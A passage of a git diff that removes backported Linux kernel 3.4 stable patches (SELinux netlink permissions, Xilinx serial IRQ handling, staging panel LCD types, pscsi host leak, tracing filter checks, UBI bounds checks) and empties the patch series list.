-Reported-by: Stephen Smalley <sds@tycho.nsa.gov> -Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - security/selinux/nlmsgtab.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/security/selinux/nlmsgtab.c -+++ b/security/selinux/nlmsgtab.c -@@ -105,6 +105,7 @@ static struct nlmsg_perm nlmsg_xfrm_perm - { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_MAPPING, NETLINK_XFRM_SOCKET__NLMSG_READ }, - }; - - static struct nlmsg_perm nlmsg_audit_perms[] = diff --git a/patches/selinux-nlmsg-add-xfrm_msg_migrate.patch b/patches/selinux-nlmsg-add-xfrm_msg_migrate.patch deleted file mode 100644 index 795204d..0000000 --- a/patches/selinux-nlmsg-add-xfrm_msg_migrate.patch +++ /dev/null @@ -1,28 +0,0 @@ -From 8d465bb777179c4bea731b828ec484088cc9fbc1 Mon Sep 17 00:00:00 2001 -From: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Date: Fri, 10 Apr 2015 16:24:27 +0200 -Subject: selinux/nlmsg: add XFRM_MSG_MIGRATE - -commit 8d465bb777179c4bea731b828ec484088cc9fbc1 upstream. - -This command is missing. - -Fixes: 5c79de6e79cd ("[XFRM]: User interface for handling XFRM_MSG_MIGRATE") -Reported-by: Stephen Smalley <sds@tycho.nsa.gov> -Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - security/selinux/nlmsgtab.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/security/selinux/nlmsgtab.c -+++ b/security/selinux/nlmsgtab.c -@@ -101,6 +101,7 @@ static struct nlmsg_perm nlmsg_xfrm_perm - { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_REPORT, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_MIGRATE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, diff --git a/patches/selinux-nlmsg-add-xfrm_msg_report.patch b/patches/selinux-nlmsg-add-xfrm_msg_report.patch deleted file mode 100644 index 7934229..0000000 --- a/patches/selinux-nlmsg-add-xfrm_msg_report.patch +++ /dev/null @@ -1,28 +0,0 @@ -From b0b59b0056acd6f157a04cc895f7e24692fb08aa Mon Sep 17 00:00:00 2001 -From: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Date: Fri, 10 Apr 2015 16:24:26 +0200 -Subject: selinux/nlmsg: add XFRM_MSG_REPORT - -commit b0b59b0056acd6f157a04cc895f7e24692fb08aa upstream. - -This command is missing. - -Fixes: 97a64b4577ae ("[XFRM]: Introduce XFRM_MSG_REPORT.") -Reported-by: Stephen Smalley <sds@tycho.nsa.gov> -Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - security/selinux/nlmsgtab.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/security/selinux/nlmsgtab.c -+++ b/security/selinux/nlmsgtab.c -@@ -100,6 +100,7 @@ static struct nlmsg_perm nlmsg_xfrm_perm - { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_REPORT, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, diff --git a/patches/serial-of-serial-remove-device_type-serial-registration.patch b/patches/serial-of-serial-remove-device_type-serial-registration.patch deleted file mode 100644 index 978d5af..0000000 --- a/patches/serial-of-serial-remove-device_type-serial-registration.patch +++ /dev/null @@ -1,41 +0,0 @@ -From 6befa9d883385c580369a2cc9e53fbf329771f6d Mon Sep 17 00:00:00 2001 -From: Michal Simek <michal.simek@xilinx.com> -Date: Tue, 14 Apr 2015 12:03:09 +0200 -Subject: serial: of-serial: Remove device_type = "serial" registration - -commit 6befa9d883385c580369a2cc9e53fbf329771f6d upstream. - -Do not probe all serial drivers by of_serial.c which are using -device_type = "serial"; property. Only drivers which have valid -compatible strings listed in the driver should be probed. - -When PORT_UNKNOWN is setup probe will fail anyway. - -Arnd quotation about driver historical background: -"when I wrote that driver initially, the idea was that it would -get used as a stub to hook up all other serial drivers but after -that, the common code learned to create platform devices from DT" - -This patch fix the problem with on the system with xilinx_uartps and -16550a where of_serial failed to register for xilinx_uartps and because -of irq_dispose_mapping() removed irq_desc. Then when xilinx_uartps was asking -for irq with request_irq() EINVAL is returned. - -Signed-off-by: Michal Simek <michal.simek@xilinx.com> -Acked-by: Arnd Bergmann <arnd@arndb.de> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/tty/serial/of_serial.c | 1 - - 1 file changed, 1 deletion(-) - ---- a/drivers/tty/serial/of_serial.c -+++ b/drivers/tty/serial/of_serial.c -@@ -192,7 +192,6 @@ static struct of_device_id __devinitdata - { .compatible = "ibm,qpace-nwp-serial", - .data = (void *)PORT_NWPSERIAL, }, - #endif -- { .type = "serial", .data = (void *)PORT_UNKNOWN, }, - { /* end of list */ }, - }; - diff --git a/patches/serial-xilinx-use-platform_get_irq-to-get-irq-description-structure.patch b/patches/serial-xilinx-use-platform_get_irq-to-get-irq-description-structure.patch deleted file mode 100644 index c5bc7fc..0000000 --- a/patches/serial-xilinx-use-platform_get_irq-to-get-irq-description-structure.patch +++ /dev/null @@ -1,89 +0,0 @@ -From 5c90c07b98c02198d9777a7c4f3047b0a94bf7ed Mon Sep 17 00:00:00 2001 -From: Michal Simek <michal.simek@xilinx.com> -Date: Mon, 13 Apr 2015 16:34:21 +0200 -Subject: serial: xilinx: Use platform_get_irq to get irq description structure - -commit 5c90c07b98c02198d9777a7c4f3047b0a94bf7ed upstream. - -For systems with CONFIG_SERIAL_OF_PLATFORM=y and device_type = -"serial"; property in DT of_serial.c driver maps and unmaps IRQ (because -driver probe fails). Then a driver is called but irq mapping is not -created that's why driver is failing again in again on request_irq(). -Based on this use platform_get_irq() instead of platform_get_resource() -which is doing irq_desc allocation and driver itself can request IRQ. - -Fix both xilinx serial drivers in the tree. - -Signed-off-by: Michal Simek <michal.simek@xilinx.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/tty/serial/uartlite.c | 11 ++++++----- - drivers/tty/serial/xilinx_uartps.c | 12 ++++++------ - 2 files changed, 12 insertions(+), 11 deletions(-) - ---- a/drivers/tty/serial/uartlite.c -+++ b/drivers/tty/serial/uartlite.c -@@ -573,7 +573,8 @@ MODULE_DEVICE_TABLE(of, ulite_of_match); - - static int __devinit ulite_probe(struct platform_device *pdev) - { -- struct resource *res, *res2; -+ struct resource *res; -+ int irq; - int id = pdev->id; - #ifdef CONFIG_OF - const __be32 *prop; -@@ -587,11 +588,11 @@ static int __devinit ulite_probe(struct - if (!res) - return -ENODEV; - -- res2 = platform_get_resource(pdev, IORESOURCE_IRQ, 0); -- if (!res2) -- return -ENODEV; -+ irq = platform_get_irq(pdev, 0); -+ if (irq <= 0) -+ return -ENXIO; - -- return ulite_assign(&pdev->dev, id, res->start, res2->start); -+ return ulite_assign(&pdev->dev, id, res->start, irq); - } - - static int __devexit ulite_remove(struct platform_device *pdev) ---- a/drivers/tty/serial/xilinx_uartps.c -+++ b/drivers/tty/serial/xilinx_uartps.c -@@ -941,9 +941,9 @@ static struct uart_driver xuartps_uart_d - **/ - static int __devinit xuartps_probe(struct platform_device *pdev) - { -- int rc; -+ int rc, irq; - struct uart_port *port; -- struct resource *res, *res2; -+ struct resource *res; - int clk = 0; - - #ifdef CONFIG_OF -@@ -964,9 +964,9 @@ static int __devinit xuartps_probe(struc - if (!res) - return -ENODEV; - -- res2 = platform_get_resource(pdev, IORESOURCE_IRQ, 0); -- if (!res2) -- return -ENODEV; -+ irq = platform_get_irq(pdev, 0); -+ if (irq <= 0) -+ return -ENXIO; - - /* Initialize the port structure */ - port = xuartps_get_port(); -@@ -980,7 +980,7 @@ static int __devinit xuartps_probe(struc - * and triggers invocation of the config_port() entry point. - */ - port->mapbase = res->start; -- port->irq = res2->start; -+ port->irq = irq; - port->dev = &pdev->dev; - port->uartclk = clk; - dev_set_drvdata(&pdev->dev, port); diff --git a/patches/series b/patches/series index 491c6b9..e69de29 100644 --- a/patches/series +++ b/patches/series @@ -1,144 +0,0 @@ -bluetooth-ath3k-add-support-atheros-ar5b195-combo-mini-pcie-card.patch -drivers-hv-vmbus-fix-a-bug-in-the-error-path-in-vmbus_open.patch -e1000-add-dummy-allocator-to-fix-race-condition-between-mtu-change-and-netpoll.patch -kvm-s390-zero-out-current-vmdb-of-stsi-before-including-level3-data.patch -usb-musb-core-fix-tx-rx-endpoint-order.patch -pinctrl-remove-maxpin-from-documentation.patch -compal-laptop-check-return-value-of-power_supply_register.patch -pinctrl-remove-doc-mention-of-the-enable-disable-api.patch -pinctrl-fix-example-.get_group_pins-implementation-signature.patch -drm-radeon-fix-doublescan-modes-v2.patch -usb-common-otg-fsm-only-signal-connect-after-switching-to-peripheral.patch -asoc-wm8741-fix-rates-constraints-values.patch -cdc-wdm-fix-endianness-bug-in-debug-statements.patch -staging-panel-fix-lcd-type.patch -ubi-fix-out-of-bounds-write.patch -ubi-initialize-leb-number-variable.patch -ubi-fix-check-for-too-many-bytes.patch -c6x-time-ensure-consistency-in-__init.patch -drivers-hv-vmbus-don-t-wait-after-requesting-offers.patch -btrfs-fix-log-tree-corruption-when-fs-mounted-with-o-discard.patch -btrfs-don-t-accept-bare-namespace-as-a-valid-xattr.patch -arm-8320-1-fix-integer-overflow-in-elf_et_dyn_base.patch -rtlwifi-rtl8192cu-add-new-usb-id.patch -asoc-cs4271-increase-delay-time-after-reset.patch -ext4-make-fsync-to-sync-parent-dir-in-no-journal-for-real-this-time.patch -jhash-update-jhash_-321-words-functions-to-use-correct-initval.patch -input-elantech-fix-absolute-mode-setting-on-some-asus-laptops.patch -rds-documentation-document-af_rds-pf_rds-and-sol_rds-correctly.patch -selinux-nlmsg-add-xfrm_msg_getspdinfo.patch -selinux-nlmsg-add-xfrm_msg_-new-get-sadinfo.patch -x86-iommu-fix-header-comments-regarding-standard-and-_finish-macros.patch -scsi-storvsc-fix-a-bug-in-copy_from_bounce_buffer.patch -alsa-emu10k1-don-t-deadlock-in-proc-functions.patch -mips-hibernate-flush-tlb-entries-earlier.patch -powerpc-fix-missing-l2-cache-size-in-sys-devices-system-cpu.patch -selinux-nlmsg-add-xfrm_msg_report.patch -selinux-nlmsg-add-xfrm_msg_migrate.patch -selinux-nlmsg-add-xfrm_msg_mapping.patch -s390-hibernate-fix-save-and-restore-of-kernel-text-section.patch -btrfs-fix-inode-eviction-infinite-loop-after-cloning-into-it.patch -powerpc-perf-cap-64bit-userspace-backtraces-to-perf_max_stack_depth.patch -acpica-utilities-split-io-address-types-from-data-type-models.patch -fs-binfmt_elf.c-fix-bug-in-loading-of-pie-binaries.patch -dm-crypt-fix-deadlock-when-async-crypto-algorithm-returns-ebusy.patch -ib-core-disallow-registering-0-sized-memory-region.patch -ib-mlx4-fix-wqe-lso-segment-calculation.patch -megaraid_sas-use-raw_smp_processor_id.patch -firmware-ihex2fw.c-restore-missing-default-in-switch-statement.patch -ptrace-fix-race-between-ptrace_resume-and-wait_task_stopped.patch -memstick-mspro_block-add-missing-curly-braces.patch -nfsd-fix-nsfd-startup-race-triggering-bug_on.patch -nfs-don-t-call-blocking-operations-while-task_running.patch -nfs-fix-high-load-average-due-to-callback-thread-sleeping.patch -rcu-pathwalk-breakage-when-running-into-a-symlink-overmounting-something.patch -alsa-hda-fix-mute-led-fixed-mode.patch -alsa-emu10k1-fix-card-shortname-string-buffer-overflow.patch -alsa-emux-fix-mutex-deadlock-at-unloading.patch -drm-radeon-use-drm_calloc_ab-for-cs-relocs.patch -scsi-add-1024-max-sectors-black-list-flag.patch -3w-sas-fix-command-completion-race.patch -3w-xxxx-fix-command-completion-race.patch -3w-9xxx-fix-command-completion-race.patch -serial-xilinx-use-platform_get_irq-to-get-irq-description-structure.patch -serial-of-serial-remove-device_type-serial-registration.patch -alsa-emux-fix-mutex-deadlock-in-oss-emulation.patch -alsa-emu10k1-emu10k2-32-bit-dma-mode.patch -powerpc-pseries-correct-cpu-affinity-for-dlpar-added-cpus.patch -ext4-move-check-under-lock-scope-to-close-a-race.patch -arm-pxa-pxa_cplds-add-lubbock-and-mainstone-io.patch -arm-pxa-mainstone-use-new-pxa_cplds-driver.patch -arm-pxa-lubbock-use-new-pxa_cplds-driver.patch -mmc-core-add-missing-pm-event-in-mmc_pm_notify-to-fix-hib-restore.patch -rdma-cma-canonize-ipv4-on-ipv6-sockets-properly.patch -xen-console-update-console-event-channel-on-resume.patch -xen-events-set-irq_info-evtchn-before-binding-the-channel-to-cpu-in-__startup_pirq.patch -mm-memory-failure-call-shake_page-when-error-hits-thp-tail-page.patch -nilfs2-fix-sanity-check-of-btree-level-in-nilfs_btree_root_broken.patch -ocfs2-dlm-fix-race-between-purge-and-get-lock-resource.patch -libata-add-helper-to-determine-when-phy-events-should-be-ignored.patch -libata-ignore-spurious-phy-event-on-lpm-policy-change.patch -rtlwifi-rtl8192cu-fix-kernel-deadlock.patch -usb-cp210x-add-id-for-kcf-technologies-prn-device.patch -usb-pl2303-remove-support-for-samsung-i330.patch -usb-visor-match-i330-phone-more-precisely.patch -nfsd-fix-the-check-for-confirmed-openowner-in-nfs4_preprocess_stateid_op.patch -md-raid5-don-t-record-new-size-if-resize_stripes-fails.patch -xhci-fix-isoc-endpoint-dequeue-from-advancing-too-far-on-transaction-error.patch -xhci-solve-full-event-ring-by-increasing-trbs_per_segment-to-256.patch -xhci-gracefully-handle-xhci_irq-dead-device.patch -usb-storage-add-no_wp_detect-quirk-for-lacie-059f-0651-devices.patch -ahci-un-staticize-ahci_dev_classify.patch -ahci-avoton-port-disable-reset-quirk.patch -arm-net-delegate-filter-to-kernel-interpreter-when-imm_offset-return-value-can-t-fit-into-12bits.patch -drm-radeon-fix-vm_context-_page_table_end_addr-handling.patch -ext4-check-for-zero-length-extent-explicitly.patch -ipvs-fix-memory-leak-in-ip_vs_ctl.c.patch -mac80211-move-wep-tailroom-size-check.patch -kvm-mmu-fix-cr4.smep-1-cr0.wp-0-with-shadow-pages.patch -asoc-wm8960-fix-rinput3-audio-route-error.patch -asoc-wm8994-correct-bclk-div-348-to-384.patch -input-elantech-fix-semi-mt-protocol-for-v3-hw.patch -powerpc-align-toc-to-256-bytes.patch -alsa-hda-add-conexant-codecs-cx20721-cx20722-cx20723-and-cx20724.patch -mmc-atmel-mci-fix-bad-variable-type-for-clkdiv.patch -sd-disable-support-for-256-byte-sector-disks.patch -xen-events-don-t-bind-non-percpu-virqs-with-percpu-chip.patch -crypto-s390-ghash-fix-incorrect-ghash-icv-buffer-handling.patch -bridge-fix-parsing-of-mldv2-reports.patch -arm-dts-imx27-only-map-4-kbyte-for-fec-registers.patch -x86-mce-fix-mce-severity-messages.patch -x86-bpf_jit-fix-compilation-of-large-bpf-programs.patch -lguest-fix-out-by-one-error-in-address-checking.patch -fs-omfs-add-null-terminator-in-the-end-up-the-token-list.patch -d_walk-might-skip-too-much.patch -target-pscsi-don-t-leak-scsi_host-if-hba-is-virtual_host.patch -usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch -ozwpan-use-proper-check-to-prevent-heap-overflow.patch -ozwpan-divide-by-zero-leading-to-panic.patch -ozwpan-unchecked-signed-subtraction-leads-to-dos.patch -drm-i915-don-t-skip-request-retirement-if-the-active-list-is-empty.patch -vfs-read-file_handle-only-once-in-handle_to_path.patch -input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rate.patch -alsa-hda-realtek-add-a-fixup-for-another-acer-aspire-9420.patch -alsa-usb-audio-add-maya44-usb-mixer-control-names.patch -usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch -mips-fix-enabling-of-debug_stackoverflow.patch -bridge-use-_bh-spinlock-variant-for-br_fdb_update-to-avoid-lockup.patch -bridge-disable-softirqs-around-br_fdb_update-to-avoid-lockup.patch -bridge-fix-multicast-router-rlist-endless-loop.patch -ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch -tracing-have-filter-check-for-balanced-ops.patch -udf-check-length-of-extended-attributes-and-allocation-descriptors.patch -md-use-kzalloc-when-bitmap-is-disabled.patch -ipv4-missing-sk_nulls_node_init-in-ping_unhash.patch -x86-kvm-use-kernel_fpu_begin-end-in-kvm_load-put_guest_fpu.patch -x86-kvm-fix-kvm-s-usage-of-kernel_fpu_begin-end.patch -ipmi-fix-timeout-calculation-when-bmc-is-disconnected.patch -net-socket-Fix-the-wrong-returns-for-recvmsg-and-sen.patch -bridge-superfluous-skb-nfct-check-in-br_nf_dev_queue_xmit.patch -block-fix-ext_dev_lock-lockdep-report.patch -net-rose-don-t-dereference-null-neighbour-pointer.patch -pipe-iovec-fix-memory-corruption-when-retrying-atomic-copy-as-non-atomic.patch -sched-queue-rt-tasks-to-head-when-prio-drops.patch -udp-fix-behavior-of-wrong-checksums.patch diff --git a/patches/staging-panel-fix-lcd-type.patch b/patches/staging-panel-fix-lcd-type.patch deleted file mode 100644 index 590147a..0000000 --- a/patches/staging-panel-fix-lcd-type.patch +++ /dev/null @@ -1,56 +0,0 @@ -From 2c20d92dad5db6440cfa88d811b69fd605240ce4 Mon Sep 17 00:00:00 2001 -From: Sudip Mukherjee <sudipm.mukherjee@gmail.com> -Date: Tue, 24 Mar 2015 16:29:32 +0530 -Subject: staging: panel: fix lcd type - -commit 2c20d92dad5db6440cfa88d811b69fd605240ce4 upstream. - -the lcd type as defined in the Kconfig is not matching in the code. -as a result the rs, rw and en pins were getting interchanged. -Kconfig defines the value of PANEL_LCD to be 1 if we select custom -configuration but in the code LCD_TYPE_CUSTOM is defined as 5. - -my hardware is LCD_TYPE_CUSTOM, but the pins were assigned to it -as pins of LCD_TYPE_OLD, and it was not working. -Now values are corrected with referenece to the values defined in -Kconfig and it is working. -checked on JHD204A lcd with LCD_TYPE_CUSTOM configuration. - -Signed-off-by: Sudip Mukherjee <sudip@vectorindia.org> -Acked-by: Willy Tarreau <w@1wt.eu> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/staging/panel/panel.c | 13 ++++++------- - 1 file changed, 6 insertions(+), 7 deletions(-) - ---- a/drivers/staging/panel/panel.c -+++ b/drivers/staging/panel/panel.c -@@ -273,11 +273,11 @@ static unsigned char lcd_bits[LCD_PORTS] - * LCD types - */ - #define LCD_TYPE_NONE 0 --#define LCD_TYPE_OLD 1 --#define LCD_TYPE_KS0074 2 --#define LCD_TYPE_HANTRONIX 3 --#define LCD_TYPE_NEXCOM 4 --#define LCD_TYPE_CUSTOM 5 -+#define LCD_TYPE_CUSTOM 1 -+#define LCD_TYPE_OLD 2 -+#define LCD_TYPE_KS0074 3 -+#define LCD_TYPE_HANTRONIX 4 -+#define LCD_TYPE_NEXCOM 5 - - /* - * keypad types -@@ -455,8 +455,7 @@ MODULE_PARM_DESC(keypad_enabled, "Deprec - static int lcd_type = -1; - module_param(lcd_type, int, 0000); - MODULE_PARM_DESC(lcd_type, -- "LCD type: 0=none, 1=old //, 2=serial ks0074, " -- "3=hantronix //, 4=nexcom //, 5=compiled-in"); -+ "LCD type: 0=none, 1=compiled-in, 2=old, 3=serial ks0074, 4=hantronix, 5=nexcom"); - - static int lcd_proto = -1; - module_param(lcd_proto, int, 0000); diff --git a/patches/target-pscsi-don-t-leak-scsi_host-if-hba-is-virtual_host.patch b/patches/target-pscsi-don-t-leak-scsi_host-if-hba-is-virtual_host.patch deleted file mode 100644 index 5aa4a33..0000000 --- a/patches/target-pscsi-don-t-leak-scsi_host-if-hba-is-virtual_host.patch +++ /dev/null @@ -1,51 +0,0 @@ -From 5a7125c64def3b21f8147eca8b54949a60963942 Mon Sep 17 00:00:00 2001 -From: Andy Grover <agrover@redhat.com> -Date: Fri, 22 May 2015 14:07:44 -0700 -Subject: target/pscsi: Don't leak scsi_host if hba is VIRTUAL_HOST - -commit 5a7125c64def3b21f8147eca8b54949a60963942 upstream. - -See https://bugzilla.redhat.com/show_bug.cgi?id=1025672 - -We need to put() the reference to the scsi host that we got in -pscsi_configure_device(). In VIRTUAL_HOST mode it is associated with -the dev_virt, not the hba_virt. - -Signed-off-by: Andy Grover <agrover@redhat.com> -Signed-off-by: Nicholas Bellinger <nab@linux-iscsi.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/target/target_core_pscsi.c | 3 +++ - drivers/target/target_core_pscsi.h | 1 + - 2 files changed, 4 insertions(+) - ---- a/drivers/target/target_core_pscsi.c -+++ b/drivers/target/target_core_pscsi.c -@@ -567,6 +567,7 @@ static struct se_device *pscsi_create_vi - " pdv_host_id: %d\n", pdv->pdv_host_id); - return ERR_PTR(-EINVAL); - } -+ pdv->pdv_lld_host = sh; - } - } else { - if (phv->phv_mode == PHV_VIRTUAL_HOST_ID) { -@@ -653,6 +654,8 @@ static void pscsi_free_device(void *p) - if ((phv->phv_mode == PHV_LLD_SCSI_HOST_NO) && - (phv->phv_lld_host != NULL)) - scsi_host_put(phv->phv_lld_host); -+ else if (pdv->pdv_lld_host) -+ scsi_host_put(pdv->pdv_lld_host); - - if ((sd->type == TYPE_DISK) || (sd->type == TYPE_ROM)) - scsi_device_put(sd); ---- a/drivers/target/target_core_pscsi.h -+++ b/drivers/target/target_core_pscsi.h -@@ -45,6 +45,7 @@ struct pscsi_dev_virt { - int pdv_lun_id; - struct block_device *pdv_bd; - struct scsi_device *pdv_sd; -+ struct Scsi_Host *pdv_lld_host; - struct se_hba *pdv_se_hba; - } ____cacheline_aligned; - diff --git a/patches/tracing-have-filter-check-for-balanced-ops.patch b/patches/tracing-have-filter-check-for-balanced-ops.patch deleted file mode 100644 index 952994e..0000000 --- a/patches/tracing-have-filter-check-for-balanced-ops.patch +++ /dev/null @@ -1,105 +0,0 @@ -From 2cf30dc180cea808077f003c5116388183e54f9e Mon Sep 17 00:00:00 2001 -From: Steven Rostedt <rostedt@goodmis.org> -Date: Mon, 15 Jun 2015 17:50:25 -0400 -Subject: tracing: Have filter check for balanced ops - -commit 2cf30dc180cea808077f003c5116388183e54f9e upstream. - -When the following filter is used it causes a warning to trigger: - - # cd /sys/kernel/debug/tracing - # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter --bash: echo: write error: Invalid argument - # cat events/ext4/ext4_truncate_exit/filter -((dev==1)blocks==2) -^ -parse_error: No error - - ------------[ cut here ]------------ - WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990() - Modules linked in: bnep lockd grace bluetooth ... - CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450 - Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012 - 0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0 - 0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c - ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea - Call Trace: - [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e - [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0 - [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80 - [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20 - [<ffffffff81159065>] replace_preds+0x3c5/0x990 - [<ffffffff811596b2>] create_filter+0x82/0xb0 - [<ffffffff81159944>] apply_event_filter+0xd4/0x180 - [<ffffffff81152bbf>] event_filter_write+0x8f/0x120 - [<ffffffff811db2a8>] __vfs_write+0x28/0xe0 - [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0 - [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0 - [<ffffffff811dc408>] vfs_write+0xb8/0x1b0 - [<ffffffff811dc72f>] SyS_write+0x4f/0xb0 - [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a - ---[ end trace e11028bd95818dcd ]--- - -Worse yet, reading the error message (the filter again) it says that -there was no error, when there clearly was. The issue is that the -code that checks the input does not check for balanced ops. That is, -having an op between a closed parenthesis and the next token. - -This would only cause a warning, and fail out before doing any real -harm, but it should still not caues a warning, and the error reported -should work: - - # cd /sys/kernel/debug/tracing - # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter --bash: echo: write error: Invalid argument - # cat events/ext4/ext4_truncate_exit/filter -((dev==1)blocks==2) -^ -parse_error: Meaningless filter expression - -And give no kernel warning. - -Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home - -Cc: Peter Zijlstra <a.p.zijlstra@chello.nl> -Cc: Ingo Molnar <mingo@redhat.com> -Cc: Arnaldo Carvalho de Melo <acme@kernel.org> -Reported-by: Vince Weaver <vincent.weaver@maine.edu> -Tested-by: Vince Weaver <vincent.weaver@maine.edu> -Signed-off-by: Steven Rostedt <rostedt@goodmis.org> -[lizf: Backported to 3.4: remove the check for OP_NOT, as it's not supported.] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - kernel/trace/trace_events_filter.c | 10 ++++++++-- - 1 file changed, 8 insertions(+), 2 deletions(-) - ---- a/kernel/trace/trace_events_filter.c -+++ b/kernel/trace/trace_events_filter.c -@@ -1357,19 +1357,25 @@ static int check_preds(struct filter_par - { - int n_normal_preds = 0, n_logical_preds = 0; - struct postfix_elt *elt; -+ int cnt = 0; - - list_for_each_entry(elt, &ps->postfix, list) { -- if (elt->op == OP_NONE) -+ if (elt->op == OP_NONE) { -+ cnt++; - continue; -+ } - - if (elt->op == OP_AND || elt->op == OP_OR) { - n_logical_preds++; -+ cnt--; - continue; - } -+ cnt--; - n_normal_preds++; -+ WARN_ON_ONCE(cnt < 0); - } - -- if (!n_normal_preds || n_logical_preds >= n_normal_preds) { -+ if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) { - parse_error(ps, FILT_ERR_INVALID_FILTER, 0); - return -EINVAL; - } diff --git a/patches/ubi-fix-check-for-too-many-bytes.patch b/patches/ubi-fix-check-for-too-many-bytes.patch deleted file mode 100644 index 93b0013..0000000 --- a/patches/ubi-fix-check-for-too-many-bytes.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 299d0c5b27346a77a0777c993372bf8777d4f2e5 Mon Sep 17 00:00:00 2001 -From: Brian Norris <computersforpeace@gmail.com> -Date: Sat, 28 Feb 2015 02:23:28 -0800 -Subject: UBI: fix check for "too many bytes" - -commit 299d0c5b27346a77a0777c993372bf8777d4f2e5 upstream. - -The comparison from the previous line seems to have been erroneously -(partially) copied-and-pasted onto the next. The second line should be -checking req.bytes, not req.lnum. - -Coverity CID #139400 - -Signed-off-by: Brian Norris <computersforpeace@gmail.com> -[rw: Fixed comparison] -Signed-off-by: Richard Weinberger <richard@nod.at> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/mtd/ubi/cdev.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/mtd/ubi/cdev.c -+++ b/drivers/mtd/ubi/cdev.c -@@ -475,7 +475,7 @@ static long vol_cdev_ioctl(struct file * - /* Validate the request */ - err = -EINVAL; - if (req.lnum < 0 || req.lnum >= vol->reserved_pebs || -- req.bytes < 0 || req.lnum >= vol->usable_leb_size) -+ req.bytes < 0 || req.bytes > vol->usable_leb_size) - break; - if (req.dtype != UBI_LONGTERM && req.dtype != UBI_SHORTTERM && - req.dtype != UBI_UNKNOWN) diff --git a/patches/ubi-fix-out-of-bounds-write.patch b/patches/ubi-fix-out-of-bounds-write.patch deleted file mode 100644 index f59645c..0000000 --- a/patches/ubi-fix-out-of-bounds-write.patch +++ /dev/null @@ -1,32 +0,0 @@ -From d74adbdb9abf0d2506a6c4afa534d894f28b763f Mon Sep 17 00:00:00 2001 -From: Brian Norris <computersforpeace@gmail.com> -Date: Sat, 28 Feb 2015 02:23:26 -0800 -Subject: UBI: fix out of bounds write - -commit d74adbdb9abf0d2506a6c4afa534d894f28b763f upstream. - -If aeb->len >= vol->reserved_pebs, we should not be writing aeb into the -PEB->LEB mapping. - -Caught by 